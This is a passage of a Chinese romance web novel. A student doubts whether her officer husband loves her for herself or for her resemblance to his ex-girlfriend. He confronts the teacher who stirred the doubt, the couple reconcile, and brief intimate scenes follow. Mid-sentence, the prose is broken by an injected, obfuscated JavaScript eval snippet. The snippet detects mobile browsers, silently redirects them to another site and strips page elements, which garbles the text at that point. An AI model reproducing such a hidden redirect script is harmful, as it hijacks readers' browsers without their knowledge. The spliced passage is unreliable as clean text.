“Freya,你说——我跟她很像?”片刻后,聂宇试探着问。 “我只是觉得你们长得有些像,因为当时他们刚认识的时候我也在。其他方面——” 庄沁蕾说到这里停顿了一些,意在考虑聂宇的心情,以及给她一定的反应时间。因为,她和林虹嘉在其他方面更像,有相同的爱好,都跟水有着密切的关系。 不出意外,聂宇领悟到了庄沁蕾的未尽之意,忽然有些讨厌她——最起码是眼前的这个她。她简直要怀疑庄沁蕾是故意跟自己说这些了,但又立刻在心里提醒自己:不要迁怒。 “其实也没什么,游泳是个很大众的爱好。” 聂宇耸肩,故作平常地说了句,但谁都能听得出她话中的勉强和无力。 “是这样。”庄沁蕾点点头道,看着她的目光却带着一点同情。 - 当天中午,聂宇没有去游泳,而是躺在床上翻来覆去。宿舍里只有宁露一个人,而且也是在休息,听到频繁响起的床板吱呀声,忍了又忍才出声提醒一句:“小宇,你要不困,就去自习室学会儿习吧,或者去体育馆泳会儿游。你那样动来动去,很影响我睡午觉……” 自从孟京阳来学校露过一次面后,宁露比之前更安分了。聂宇当即向她表示了抱歉,但提起游泳,她又陷入了犹豫。 “露露,你是外国语学院的,应该上过庄沁蕾老师的课吧?能说下你对庄老师的感受吗?”想起什么,聂宇试探地问。 “Freya?你们不是都挺喜欢她的?怎么突然问这个?”宁露淡淡反问。 聂宇没吭声,不知道该怎么跟她解释,或许她就不该问这个问题。而在她短暂沉默的这一分钟内,宁露察觉出不对,翻过身来,隔空审视着她。 “不管怎么说,你这人还挺聪明的。反正Freya这人,不好评价。我只说这一句,多余的你就别问咯。”她跟她之间没这份儿信任。 聂宇果然不问了,她要找的其实应该另有其人。 第二天周末,聂宇下定决心回了趟家,想要把这件事向孟京阳问清楚。但是在电话里,且又是军线,不太方便谈这种儿女情长的私事。 于是就只能等他回来,但一时又觉得遥遥无期。聂宇想来想去觉得头都快炸了,狠狠甩了好几下头,结果还真给她想出办法来了——聂宇立刻从沙发上站起身,走到电视柜前拉开右上第一个抽屉从里面翻出一张纸条来,那是某次孟京阳给她留下的他的外线电话,让她有紧急事找他时拨这个号码。 没想到第一次打他手机竟是为了“质问”,聂宇深吸一口气,觉得这事儿有些可笑。但她不想等,不想胡思乱想,所以只能这么办。 聂宇将外线电话接上,口中逐字默念着这些数字,将电话拨了出去。 35.69-70 -69- 东郊某部大院里,孟京阳正在团长劳仲辉的办公室谈过年休假的事。他打算趁聂宇放寒假的时候也休息一段时间,陪她一起回旬城。 自调到某团以来,除了新婚时休的那一周以外,孟京阳基本上没怎么请过假。偶尔回市里家中也大多是利用公干的机会,前一晚到第二天早上就走,很少占用工作时间。劳仲辉将他的付出和辛苦看在眼里,也很愿意让他休息休息。 “开年就要忙起来了,难得有这么一段时间空闲一点,多陪陪家里吧。” 劳仲辉说着,掀起眼皮看了他一眼,给了他一个含义颇深的眼神。孟京阳心领神会,笑一笑,说:“多谢首长体恤,那我就打申请了。” “去!” 劳仲辉冲他摆摆手,孟京阳抬手敬了个礼,离开了。 回到办公室的时候,通信员已经帮他把床收拾齐整。孟京阳摘下帽子,正要去洗漱的时候,放在抽屉里的手机忽然响了。他一蹙眉,拉开抽屉取出手机,按下了接听键。 “喂?” 电话那头传来聂宇有些迟疑的声音,孟京阳一听是她,在桌边坐下,问道:“澄澄?怎么打我外线?在学校?” “不是。”那头聂宇说,“我在家里。打你外线,是因为有些事不方便在军线里谈。” 孟京阳眉间倏地一动:“你说。” 聂宇在这边酝酿。方才因为打了两通电话都没有人接,她的勇气已经被消磨掉一些了,现在这通是她最后一次机会,她必须把握住,不能后退。 “孟京阳。”聂宇声音微颤地开口,“你当初对我有好感,是因为我跟你的前一任长的有些相像,并且都擅长并喜爱游泳吗?听说她是职业游泳运动员,而我当初也差点儿……并且一开始,我们都是在泳池旁认识的,有太多相似之处了……” 聂宇没再说下去,孟京阳听了,很是诧异。 “是谁跟你说了什么?” 反应两三秒后,他反问道。 “你不要管是谁,你先回答我的问题。”聂宇的声音有一些硬。 “是庄沁蕾?”孟京阳执着于猜出背后之人,并且很快就得出正确判断。基本上除了庄之外不作他想。 “说了你不要管!”聂宇尖声喝止道,听上去情绪有些崩溃,“孟京阳,你、你这次是真的有些过分。虽然一开始我也是别有用心,但我对你没有隐瞒,我什么都告诉你了,但是你——” “澄澄。” 孟京阳看她过于沉浸在自己的情绪之中,想要出声唤醒她,最起码先让她冷静下来。但聂宇一时很难做到,甚至她自己都意识到了情绪的不对头,是以说完那句话之后,她啪一下,把电话给挂了。一阵忙音传来,孟京阳蹙紧眉头。 - 家属院里,聂宇坐在沙发上努力地调整着自己的情绪。她告诉自己,她是要找孟京阳弄清楚事实,不是要跟他吵架的。即便真的要闹别扭,那也是在知道真相以后了,现在这样于事无补。 但她真的有点儿控制不住自己,一想到孟京阳可能把她当做某个人的替身,哪怕只是极其微小的一面,她都无法忍受。她可以接受他带有任何企图的示好,但不能隐瞒。因为她没有这样做! 外线电话再度响起,聂宇冷静下来,拎起了听筒。 “喂——”她声音有些沙哑地应。 “聂宇。”孟京阳的声音也难得染上一些忧急,并几分无奈,“你先不要着急,听我说,行不行?” “你讲。”她闷头道。 “是这样。”孟京阳稍稍缓一口气,说,“这里面或许有不少巧合,但你不要借此就立刻来定我的罪。我跟她之间,还没有情深到需要在分手后找个替身来慰藉感情的地步。这一点不是推脱,无论对我还是对她都成立,你明白么?” “你不要否认的那么快,或许、或许是一种下意识,你可以再扪心自问一下……”聂宇提出一种猜测。 不是她不相信孟京阳,而是当局者迷。再清醒理智的人,或许也有看不清自己感情的时候。 “我再扪心自问一百次也是同样的结果!” 孟京阳掷地有声道,说完心里涌上沉沉的无奈。 “聂宇,你现在是带着一个既定的结果反过来寻找证据,看什么都会觉得可疑。如果你是法官,这就是在做有罪推定。” “可是有那么多巧合!”聂宇说,“你要我怎么当做没看到?当初连杨桃都说,我跳水的时候你会多看几眼……” 如此多的细节摆在面前,想要立刻将疑虑斩草除根,太难了。最起码聂宇目前做不到,所以她只能折磨孟京阳。 孟京阳长吐一口气,强令自己心静。 “我不能否认澄澄,曾经跟她在一起的一部分原因,是我欣赏她的长相。而我对你如何,你心里也清楚。非要说你们长得像,那有没有一种可能,是我的审美就是这样?这点我是真没办法。”一顿,“再者,以我的眼光来看,你们两个长得也并不像。” “……我不清楚。”聂宇闷声不认。 “行,你可以这样不讲理。” 听出来她口吻有所缓和,孟京阳也平静些许,“但你心里得知道,不能继续冤枉我。” “游泳呢?这一点你又要找什么理由?”聂宇转移话题。 “这一点更滑稽。”孟京阳说,“我们第一次见面确实是在泳池旁,但她是被人请来教我们游泳的,就没怎么下过水,也没教太久。后续我跟她之间更多的接触和交集其实是在游泳之外,套上这么一个罪名,我俩都很冤。” “你不要用‘我俩’这样的字眼来形容你和她,你是你她是她,不能分开说吗?”聂宇很是难受道,纵觉得有些没理,但也想发泄。 孟京阳沉默片刻。 “我可以,澄澄。但关于过去的这一段,我没法否认是不是?就像我曾经跟你说的,我们都有过去,最重要的是我和你在一起之后是否问心无愧。”他轻轻叹息一声,“我自问自己做到了,你不要难受了,好么?” - 说到这里,基本已经再无可说了。因为孟京阳已经做完了所有的陈述,就看“法官”最后如何判决。但对于此,聂宇还迟迟拿不定主意,或者说无法释怀。 聂宇第二天就回了学校,期末在即,时间太过紧张,她即便是想疗什么情伤也没有那个功夫。更别提孟京阳还不在,他第二天就因公去了东北出差,俩人不仅见不着面,干脆连联系也断了。 不过断了也有断了的好处,那就是聂宇能够不受任何人和观点的影响,好好地捋一捋这件事。 其实聂宇心里是清楚的,在过去的这大半年里,孟京阳对她到底如何。他先是就对她有好感,耳鬓厮磨这么久,感情只会更深。但聂宇心里还是有一点在意,因为她晓得自己爱上了孟京阳。在这样一份感情里,她不允许有一丁点的杂质存在。 没错,她是很不讲理,孟京阳其实干脆都不必搭理她。毕竟当初他们选择在一起的时候,就不单纯是因为爱情,那她还怎么能反过来拿这样“严苛”的标准来要求他呢。但聂宇就是想这样,她想看看孟京阳会做出什么样的选择或回答。 所以说,事情发展至此,跟他那位前任的干系已经不大。聂宇甚至已经相信了孟京阳的那些论据,困扰她更多的是她与他之间的关系,还是最俗套的爱与不爱。 聂宇忍不住叹息了下,在短暂的分神过后,赶紧收回思绪继续复习功课。跟她一起来上自习的宿舍另外三个人私下里互相对视一眼,心里都有同一个想法:看小宇这苦恼的样子,八成是感情问题喽。那这个她们可帮不上忙了。 聂宇也不会随意向人诉苦,她更愿意自己消化这些烦恼。就这样憋着劲儿熬过了大学的第一个考试周,在只剩下最后一门课就结束今年全部考试的时候,孟京阳终于出差回来了。且就在当晚,他直接来学校找聂宇。 - 得知孟京阳出现在宿舍楼下的时候,聂宇刚接到奶奶寄来的信,信里问她过年要不要回旬城,以及跟不跟孟京阳一起。 聂宇自然是想回老家见奶奶的,但因为现在这个小插曲,她已经不确定要不要叫上孟京阳。如果他们对彼此之间的感情出现了差距,那聂宇是不怎么想搭理他的,那会让她觉得自己有些可怜。 “小宇——” 宿舍门从外推开,田舒云几个提着热水瓶进来了,“你爱人来了,就在楼下等你呢,快下去吧。” “对对,赶紧去,省的老多人从那儿经过都在看他!” 几个人看热闹不嫌事儿大,提起来都笑嘻嘻的,聂宇却着实一惊,立刻就从床上坐了起来——孟京阳回来了?还来了科大? 孟京阳是直接从机场过来的,为此他提前跟劳仲辉打了招呼,说是后天再回团里。他的假期也批下来了,跟聂宇的寒假是差不多时间,到时候等她考完试,他们打点一下两边家里就可以回旬城了。 在过去的这几天里,孟京阳不说度日如年,心情也谈不上轻松。但他到底经历了更多的事,知道急了只能生乱,便强迫自己冷静下来,将已经交给自己的工作处理好,然后再来解决感情问题。 在回来的前一天,孟京阳给庄沁蕾打了通电话。那头似乎知道他是为了何事而来,口吻中没有太多疑问和惊讶。 “京阳,抱歉,我说错话了。”庄沁蕾在电话那头说,“那天也只是说起游泳时顺带提及的,我并不晓得她不知情。当然,我只说了自己知道的部分,没有添油加醋,所以——” 言下之意,如果聂宇借此生事,那只能说明是她的问题,跟她庄沁蕾无关。 孟京阳听了,低声感慨了句:“庄老师,能做到无论何时何事都如此理直气壮,也是一种本事。我很佩服。” “京阳,我向你道歉了。”庄沁蕾强撑着,笑言。 实际上在这件事上她很明白自己的劣势,那就是她是第一个向聂宇戳破那个事实的人,既然如此,受一些埋怨也是在所难免。庄沁蕾有些懊恼,但并不后悔。 “道歉就不必了,我不是来兴师问罪的。”孟京阳说,“我只是来尽一下提醒的义务,请你收起你的那些伎俩。若再继续生事,别说老同学,怕是连熟人我们都没得做。” 这话如同一记重锤锤在庄沁蕾的心上,让她略有些失态。 “京阳,不必如此吧。我是有几分冒昧,但也没有扯谎。”庄沁蕾为自己辩解,“你可以怪我心直口快,在国外待久了确实说话没以前那么聪明。但你不能上升到我的品格,对我来说这是很严重的指控。” “……”孟京阳难得无言几秒。是他大意了,庄老师的诡辩功夫居然也是一流。 “我其实是不想说太难听的话的。”孟京阳忽然丢出这样一句,又问,“你一向如此吗?” “……什么?”庄沁蕾心里难得没底。 “借着所谓的‘洋派’或‘西化’来掩饰自己的卑劣心机,还要反过来指责别人不如你开明和包容,外国人知道你这么厚颜无耻么?”孟京阳不留情面道,“西方文明也是称得上一句‘丰富博大’的,怎么你只知取其糟粕?” “孟京阳!”庄沁蕾终于被激怒了,开始尖利反击,“请注意你的言辞,你这样污蔑我到底是为了什么?你们俩夫妻闹别扭不要把罪名甩到我头上!” “……我倒真是想问问你,如此做作虚伪是为了什么?” 孟京阳缓缓道,庄沁蕾听了不作声了,抓着手机的手在微微发抖。 “什么为了什么?”她含混道。 “你的目标。”孟京阳说着,竟还笑了,“你费心打造了这样一个形象,总是有所图的是不是?但是庄老师,不管你要找的是个怎样的人,我相信他总得是个聪明人,那么你觉得你的伪装能在他面前坚持多久?要我说,不堪一击。” “……” 庄沁蕾不说话,直接挂断了电话。她整个人都在颤抖,不敢相信自己招惹了一个什么样的人。疯子,简直是疯子。 -70- 在冷静了片刻之后,庄沁蕾有一种后怕之感,但仍心存侥幸,又给孟京阳拨了过去,想要缓和一下僵局。然而孟京阳没有给她开口的机会,只警告她今后不许再影响聂宇一点。 庄沁蕾觉得这人未免过于强硬。 “孟京阳,你是不是太无法无天了些?你以为我会真的怕你?”事到如今,庄沁蕾也不装了。 “你会。”孟京阳毫不客气道,“至于无法无天——你放心,我是守法公民,不会做违法的事。而且对付你也用不着大费周章,只需跟着你学上几招颠倒黑白的招数,应该就够用了。这叫什么?以子之盾,攻子之矛。” “……”庄沁蕾放弃,她确信孟京阳是来真的。 - 回过神来,孟京阳在一片薄暮中看向西五宿舍的楼口。没过多久,一个浅灰色的身影从里面走了出来,正是聂宇。 看到聂宇,孟京阳向前走了几步。而聂宇在短暂的几秒寻找后,也发现了孟京阳——他的存在,实在过于好认。 聂宇快步上前,一抿唇,问他怎么来学校了。孟京阳稍作思忖,说:“上回在电话里有些话不方便说,所以我来找你当面谈。” 聂宇实则心里快好奇死了,不知道他还想说些什么。但嘴巴仍是硬的—— “我明天还要考试,现在不想谈这些,你先回家吧。”她说,“你刚出差回来,应该也累了。” 孟京阳缓慢地眨了几下眼睛,说:“也行。不过离开之前,我先抱抱你吧。” “……?”聂宇不解地看过去。 “上回听你在电话里那么难受,我的心里也不好过。这几天没怎么睡过踏实觉,抱一抱你应该会好点。” “……”这人在使苦肉计呢!聂宇脑子里似乎反应过来了,行动却没跟上。她瞥了眼来来往往不住向这儿投来注视的人,微一懊恼,说:“我们先换个地方。” 她想带他去个没什么人又暖和的地方,走了好久寻不着,便跟从孟京阳的提议,去了他的车上。但聂宇本打算坐前排的,可孟京阳先开了后排的车门,她只得跟了上去。 “你说——” 聂宇想让他谈正事,不想一开口就被抱住了。她一怔,推了他几下后,问:“你干嘛呢?” “不是说了要抱一抱?” 孟京阳笑着说,松开她之后,借着车里微弱的光仔细打量她。聂宇却是又恼了,她就不信孟京阳没听出来她提议换个地方是改主意了又答应要想跟他谈的意思。结果咧,有人得了便宜又卖乖,既要又要。 聂宇有些不舒服了,为他此刻还在耍手段。 孟京阳自然看得出来,他轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689674|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹一口气,说:“看来我还没有摆脱‘嫌疑’。”否则不至于一点点的玩笑也开不得。 “其实也没什么。”聂宇垂下了眸,忽然说,“最开始我们本身就是因利而聚,我也没资格过问和指责你太多……” “那现在呢?”孟京阳说着,想要握住她的手,被聂宇避开了。 “现在,现在我不知道该怎么说。”聂宇抬眼,看向车窗外在冬夜里显得有几分暗淡的路灯,“现在谈起这些都像是在翻旧账,但又因为我好像爱上了你,所以没法儿说服自己不在意……” 聂宇感到眼睛有一些酸涩,但其实……也没什么好哭的。 孟京阳在这一瞬有一种被击中的震颤感。相处这么久,他对自己和聂宇之间的感情如何是有数的。但亲耳听她承认,听她说出来,那种感觉还是不太一样。 他竟有些想笑了,是愉悦的感觉。下一秒,他侧身,将聂宇一把抱了过来。 聂宇眼泪终于还是掉了下来,用手指抹去后,她略做挣扎。无果之后,她干脆在他肩膀上锤了几下,结果被他的肩章硌得手疼。聂宇无语了,她觉得整个世界都像是在跟她作对。 “澄澄。”孟京阳在她耳边说,“其实这几天我反思了那天跟你说的话,好像有些是说的过于绝对了,让你不太敢相信。最初见到你的时候,我不能说没有丁点的恍惚,也许确实曾有一两个瞬间觉得你们有些相像,但那绝不是我喜欢你的理由和开始。事实上澄澄,在我接近你、做出和你共度余生这个决定的时候,我清楚地知道你们不一样。也正是因为你的不同,才促使我下定决心想跟你在一起。你说爱我,我很高兴,这也是我对你的感觉——” “什么感觉?”聂宇骤然抬头,打断他,“你说的爱是种什么感觉?” 孟京阳眸光一顿。他没想到,这一番话他说了那么多,她的重点居然只在“爱”上。所以她方才说“没什么”,是真的“没什么”?她在乎的另有其它。 聂宇一眨不眨地看着他。她在等孟京阳的回答,等着他又想出什么高级的说辞来拿下她。可是聂宇还是想听的,她想听他说爱自己。 “大概——是种亏欠。”孟京阳看着她的眼睛说,抬手抚上她的额角,“就像这件事让你难受许久,但我直到现在才能跟你讲清……是一种没能让你开心的歉疚,没能让你立刻明白我的心意的亏欠。” 歉疚、亏欠,居然是这样一种感觉。这有些超出聂宇的想像,好像是应该觉得不满的——为什么不是“想念”和“在乎”之类的——但聂宇还是控制不住的心颤。他是不舍得她因为他有一点不好的,谁又能说这不是爱呢? 聂宇不吭声了,微微抿唇,有些幸福的想落泪。 “那我们就一直这样好不好?”她低声问孟京阳,眨着泪眼看他,“不要再去纠结怎样开始,纠结过去。我只想,就这样彼此爱着……好不好?” “当然。”孟京阳微笑对她说道。 又低声絮语了一番,事情到此终于结束。而在平静下来后,聂宇感到有些不好意思。一场仿佛是因自己的矫情和多疑而生出的争执,但他却还配合着她—— 聂宇有些想回去了,回宿舍。在她将这份“不好意思”消化掉之前,她都不想面对孟京阳。 然而孟京阳不答应,他让聂宇回宿舍交代一声,然后下来跟他回家。 “我明天还有考试呢。”聂宇忸怩。 “几点?”他问。 “十点。” “那来得及。”孟京阳说,“早起我再把你送回来,然后等你考完,我再接你回去。” “不好。”她用怀疑的目光看着孟京阳,认为他带她回家是别有所图。 对此孟京阳当然也是不好否认的,但更多是真想她了,这短短的几十分钟相处对他来说根本不够。 “那依你的话,我今晚继续睡不好算了。” 此时此刻,某人干脆是正大光明地卖惨,使苦肉计。聂宇无奈牙痒,但最后还是妥协了。她上楼换了件衣服,装模作样拿两本书,顶着知情人士的嘲笑,嘴角溢着憋不住的笑,幸福地跟孟京阳一起回了家。 - 深夜,似乎又刮起了寒风,落定之后,有下雪的迹象。但房间里却格外暖和,一盏床头灯亮着,将床上相互依偎在一起的两个人的影子,投到一侧的墙上。 聂宇觉得有些喘不过气了,推一下孟京阳,想让他适可而止。孟京阳停了一下,看似是放过她了,实则是继续向下。聂宇一惊,又与他纠缠许久,才让他罢手。 之后继续相拥在一起,聂宇翻过身,把玩着他横在自己腰间的手。不知怎的,觉得比之前糙了些许。他这些天来应该是很累的,聂宇后知后觉地有些心疼。 “奶奶来信问我过年要不要跟你一起回旬城,你可以吗?”想起这事儿来,聂宇低声问。 “假都请好了。”某人阖着眼睛似乎是打算睡觉,声音听着却十分清醒。 聂宇颇为惊喜,回头仰首,亲了亲他的下巴。 “那我考完试我们就回去吧,我等不及想看奶奶,还有我的新家。”聂宇眯眼畅想道,“奶奶说让我们住主卧,里面有新换的大床呢……” “好。”孟京阳将她揽进怀里,却说,“睡吧,明早我叫你。” 并非是他真困了,也并非是他不想听聂宇说话。而是——再不睡,受折磨的将是他自己。 “明天是最后一门了?考什么?”想起这个,孟京阳又问了句,顺便分散一下注意力。 “英语。” 这两个字一出,俩人都有些沉默,不约而同地想到了一个人。孟京阳搭在聂宇背上的手一滞,正想着何时跟她谈一谈庄沁蕾,就见聂宇忽然起身,迫着他躺平之后,跨坐在了他的身上。 孟京阳有些意外地看着她,周身一下子紧绷起来。 “你今晚是真打算不让我好睡了,是吧?” 话里含着玩味,但更多是期待。他们得有多久没一起了?算算又半个多月了。 聂宇不言,只是俯下去,搂着他的脖子,趴在了他的身上。一时间,他的心跳声听起来无比清晰。 孟京阳迟了几秒,拉起被子,将两人都裹住了。过了会儿,他轻拍了一下她的腰,问道:“怎么了?打算这样睡?” 聂宇感受着他说话时胸腔的震动,依旧没吭声。因为她也说不清为什么,就想这样抱一抱他,延迟满足一下他下午提出的那个请求。 但嘴上当然不会再提那件事,便说:“打算折磨一下你,都怪你,让我也有些想。” 嗯,也不算借口,确实是有一些想。 “有什么难?”孟京阳笑,“你要,我就给。” “不要,不要。”聂宇拒绝,“你在这事儿上信用太差了,我还是不要冒险。” 万一折腾个不停,那她明天真成笑话了。 “这就是你的不对了,我心里还是有数的,要相信同志。” 聂宇不由笑了,通过紧贴的身体将这份愉悦传递给了孟京阳。孟京阳从中读出某种类似许可的信号,手一使力,将聂宇反压在了身下。 深夜里,俩人对视几秒,然后孟京阳俯身,将第一个吻落在了她的锁骨上。紧接着一路向下,撩起了一连串的火。聂宇失措着揪住他的发,于一片暧昧的静谧中,享受着他带给自己的快乐。 36.71-72 -71- 第二天一早,在距离开考还有半个钟头的时候,孟京阳将聂宇送回了学校。时间关系,聂宇没有回宿舍了,直接去了待会儿考试的教室。 到的时候,宿舍的另外三个人已经在了。看见她作贼似地溜进来,冯瑛和田舒云都冲她挤了挤眼。聂宇尽量无视,在第一排的位置坐定,平复心情准备考试。 其实昨晚也没有睡得很晚,只是今早起的时候,发生了一点……呃小意外。好在某人是真的还有点数,不然聂宇要被气死了。 九点五十分的时候,监考老师带着考卷来了,是庄沁蕾和另外一个年轻男教师。看到是自己熟悉的人,在座的学生都很开心,又逢着这是今年的最后一场考试,结束之后就能立刻解放,大家已经开始蠢蠢欲动了。 放在平时,庄沁蕾会跟大家开一两句玩笑,但今天的Freya十分严肃,见下面的人有些躁动,她拿尺子敲了下桌子,让大家保持安静,然后敦促他们将与考试无关的东西都收起来。 众人对此没有在意,只当是在考试,Freya不得不端起架子。但聂宇却看出了一些不对劲,她微蹙一下眉头,尽量让自己不要分心。 整场考试进行的十分顺利,唯一不好的一点就是庄沁蕾不允许提前交卷,这让很多心早已飞走的人不得不继续留在原地磨着。十二点整,铃声终于响起,庄沁蕾组织收卷,在所有人迫不及待蹿出考场之前,丢下了一句话:“课代表留下。” 课代表就是聂宇。她坐在原位看着庄沁蕾将卷子理好,然后又交给同来的男老师让他先提前带走,才拿起书包走上前,等候她的吩咐和指示。而庄沁蕾此刻依旧是面无表情,站在讲台上俯视她一眼,宣判似地说:“下学期我就不带你们学院的课了,悉数交由李老师负责。你是我的课代表,我提前通知你一声。” 聂宇有些意外:“为什么?” 庄沁蕾颇为古怪地瞅她一眼,然后笑一笑,说:“原因很多,你若真想知道,可以回去问问你的爱人。” “?跟他又有什么关系?”聂宇已经意识到庄沁蕾到底哪里不对,今天的她尤其刻薄。 “Freya,你跟我爱人只是普通的老同学关系,我想他干扰不到你的职业选择。” 聂宇口吻平静地说,庄沁蕾越听越觉得有趣。其实,这小姑娘也蛮会装的嘛。 确实,孟京阳并没有强迫她做什么。是她自己不想再跟这夫妻俩有什么瓜葛,才向学院提出了申请,跟李老师调换了授课班级。惹不起,她总躲得起。 只是心里终究是有些不快的,因为感觉像是落荒而逃,仿佛做错了什么事并为之心虚似的。 “好了,我们都不要揣着明白装糊涂了。事到如今,缘分已尽,祝你们今后一切顺利。” 庄沁蕾故作大方和豁达地伸出手,想要来个完美收场,为自己找回一些面子。但聂宇没有动,她依旧是一副若有所思的样子看着她。 “怎么?”庄沁蕾挑了下眉,“难道你在等我道歉?”不可能,绝对不可能。 聂宇已经大概猜到发生了什么,肯定与之前她们在食堂的那番谈话有关,而孟京阳私下怕是已经找过她了。 这些天来,聂宇已经隐隐意识到庄沁蕾并不是表面所表现出来的那副样子,方才她的作派也顺道印证了这一猜想。既然以后不会再打交道,聂宇觉得自己没必要太给她面子。 “我不需要你的道歉。”聂宇微微一笑,轻声说,“因为你所谓的道歉并不是真的意识到自己做错了,而是……它让你觉得自己成了‘恶人’,不能再继续装体面和高贵。Freya,挺遗憾的,我曾经还那么喜欢过你。” 庄沁蕾双目微微一眦,但忍住了没发火。 “你现在这样挑衅我,真不怕我给你判个不及格?”她讥讽地看着聂宇。 “你不会。”聂宇镇定摇头,“这手段太低级了,你要真这么做,反倒会让我更看不起你。” 庄沁蕾没再说什么,笑一笑,提起手包走人了。她想自己选择避开果然是对的,这对夫妻,某种程度来说还真是般配! - 回宿舍放下东西后,又逗留了片刻,聂宇告别众人离开。寒假在这一刻正式开始了,她要暂时离开这个地方,享受一下自己的生活。 孟京阳依旧在停车场等着,聂宇小跑过去,打开副驾驶的门,丝滑上车。孟京阳有一些被惊到,放下手中正在看的书,问道:“考完了?发挥如何?” “还行吧。”聂宇将衣服拉链稍稍松开一些,转头看向孟京阳,露出一个笑。 但孟京阳不会愚蠢地直接将这个笑解读为高兴或者愉快,尤其是在她有可能和庄沁蕾接触过后。 “有什么疑惑你可以直接问,我保证知无不言。” 丢下这句话,孟京阳不紧不慢地启动了车子,慢慢从停车场倒出去,向着校门的方向开去。而聂宇却忽然有些不会了,因为她还没想要这么快进入主题呢,只一个笑容就让她意图暴露了? 聂宇长出一口气,有些没劲地说:“你是不是见过庄沁蕾了?你们私下里说了什么?” “这个问题我倒是想先问问你。”孟京阳瞟她一眼,唇边带着些笑,“忍无可忍直呼其名了?” 聂宇没辙,撇一下嘴,把庄沁蕾不再担当他们任课老师的事告诉了他。 “不意外。”孟京阳挑一下眉说,“只能说她心虚了而已。” “所以说到底发生了什么?”聂宇追问,“我现在好奇死了要。” 孟京阳笑一笑,将那通电话里的谈话告诉了她。当然,是含蓄收敛版的。饶是如此,聂宇听完了还是相当意外,他为了她去威胁人呢。 “也不能说是威胁。”顶着聂宇惊异中带着点得意的眼神,孟京阳一本正经地纠正道,“确切地说是提醒。她若是不再生事,肆意挑拨离间,那彼此之间自然可以相安无事。” 奈何庄沁蕾自己承受不住压力,先跑了。 “但她也没说谎嘛,只能说是不怀好意罢了。” 聂宇别有意味道,被孟京阳瞥了一眼,她没忍住,笑了。 “唉,我开个玩笑。”聂宇心虚地摸摸鼻子,挤出讨好的一笑,这才勉强让孟京阳不追究了。 “其实我一开始还是挺欣赏她的。”默了片刻,聂宇忽而又说,口吻是费解中带着遗憾,“在我看来她已经够好,真不知道她这么做到底是图什么。” “倒也用不着替她可惜。”孟京阳不以为意道,“她这样的人,遇到合适的时机和合适的人,或许也能做到风生水起,得到自己想要的。只不过那就不是我要关心的事了,现在我只想她离我们有多远是多远。” 聂宇想了想,觉得他说的有道理。他们之间最大的矛盾点就在于不是一类人,所以只要她不来招惹她,她也无法从道德角度批判庄沁蕾什么,人家估计也不在乎。这样一分析,似乎连跟她生气都是多余的,完全不在同一个思维层面,于是聂宇也放弃琢磨了。她现在唯一需要想一下的问题,就是如何愉快地度过接下来的假期,这是目前最令她期待的一件事。 “我明天回一趟团里,利用两天时间安排一下工作。”孟京阳看她眼睛亮晶晶的,不由也扯动了下唇角,牵出一个笑来,“然后再去陪你姥爷吃一顿饭,就可以启程回家了。” 今年孟锐挺依旧是在南边,所以孟家这边即便是有饭局,也是孟京阳和孟静东兄弟俩私下聚聚,相当随意。唯一需要郑重一些的,就是蒋铸那里。 聂宇含笑点了点头,为他的安排感到兴奋。离家一年半,终于可以回去了。 - 当晚,俩人直接回了干休所。 第二天一早,孟京阳开车回了团里,聂宇利用这两天的时间收拾了一下行李,准备了一些带回乡的年货。这样等到孟京阳回来,他们不用耽搁太久就可以直接出发了。 三天后,孟京阳结束了团里的工作,也正式开始休假。俩人先是跟孟家的人在一起吃了顿饭,然后在临行的前一晚,回了趟蒋家。 此时距离孟京阳回来又过去了三天,中间之所以有所耽搁,是因为这两天多里两人都没怎么出门,在专注地做一件事。 自从两人结束照山的休假以来,还没有这么大快的时间能够毫无顾忌放松地待在一起,于是就难免生出各种补偿和放肆的心理,一发而不可收拾了。本来是想着点到为止的,但对孟京阳来说,在这事儿上根本没有“浅尝辄止”一说,非要尽兴了才行。于是聂宇只得奉陪,到最后都开始觉得荒唐了,迷迷糊糊之际用手捂着自己的小腹,担心这样胡闹下去会不会怀孕。 说到怀孕,聂宇又想起一件可气的事,那就是孟京阳回来检视行李,唯一往里面加的一样就是安全措施。这让聂宇羞窘不已,要知道他们回去可是和奶奶同住,怎好太频繁做那种事呢。 孟京阳对此振振有词:“反正家里只有我们三个人,只要老太太没意见,那就没问题。” 而老人呢,最是会在这种事上装糊涂的人,他对此再了解不过。 聂宇简直没辙,她忍不住想:这人是不是也太黏她了一些? -72- 因为临时置办了一些东西,俩人赶到蒋家的时候已经将近下午五点钟。魏莹听见声音出来迎的他们,一眼望去,男的神采奕奕清隽潇洒,女的白皙漂亮灵动自然,真真一对佳人,看得人眼热。 魏莹心里不由感慨:眼瞧着这个从小城里来的姑娘过得越来越好了,而他们这些原本身处高位的,反倒一日不如一日。尤其是在蒋晓先走了之后,她爹蒋云鹏心里总觉得把人送去小城亏欠了孩子,便对她纵容了许多,原先很多偏向她这个妻子的事情和道理,如今渐渐都转向了蒋晓先。而她但凡抱怨一点,他都是拿那一句来堵她的嘴—— “孩子已经受了这样大的委屈,你就不要跟她计较。” 以魏莹对丈夫的了解,他未必是真心疼女儿,只是觉得这样处理最省事儿。至于她这个妻子私下生的闷气,他也并不当回事,料定了她不会真生出什么事端来。因为这个,魏莹背着人哭了不知多少次,但她确实拿丈夫毫无办法,只能忍着。用母亲的话讲,等晓南长大就好了。 回过神来,聂宇和孟京阳已经走到屋门口,魏莹迎上去,又叫来小宋接过他们手里提的东西。 “我姥爷呢?” 跟魏莹打过招呼后,聂宇笑问。 “去孙伯伯家里下棋了,一会儿饭做好了让小宋去请他,老爷子也知道你们今天过来。” “好,不着急。” 聂宇和孟京阳进了屋,原本在二楼房间里歇着的蒋云鹏听到动静也出了门,下楼来和孟京阳聊天。 两人一个在总部一个野战部队,能聊到一起的并不多,还好蒋铸提前回来了,看见聂宇,脸上先就露出一个笑。 “听老孟说,前先日子你们学校举行了气排球比赛?如何,拿了第几名?”脱下外衣后,蒋铸上来就问。 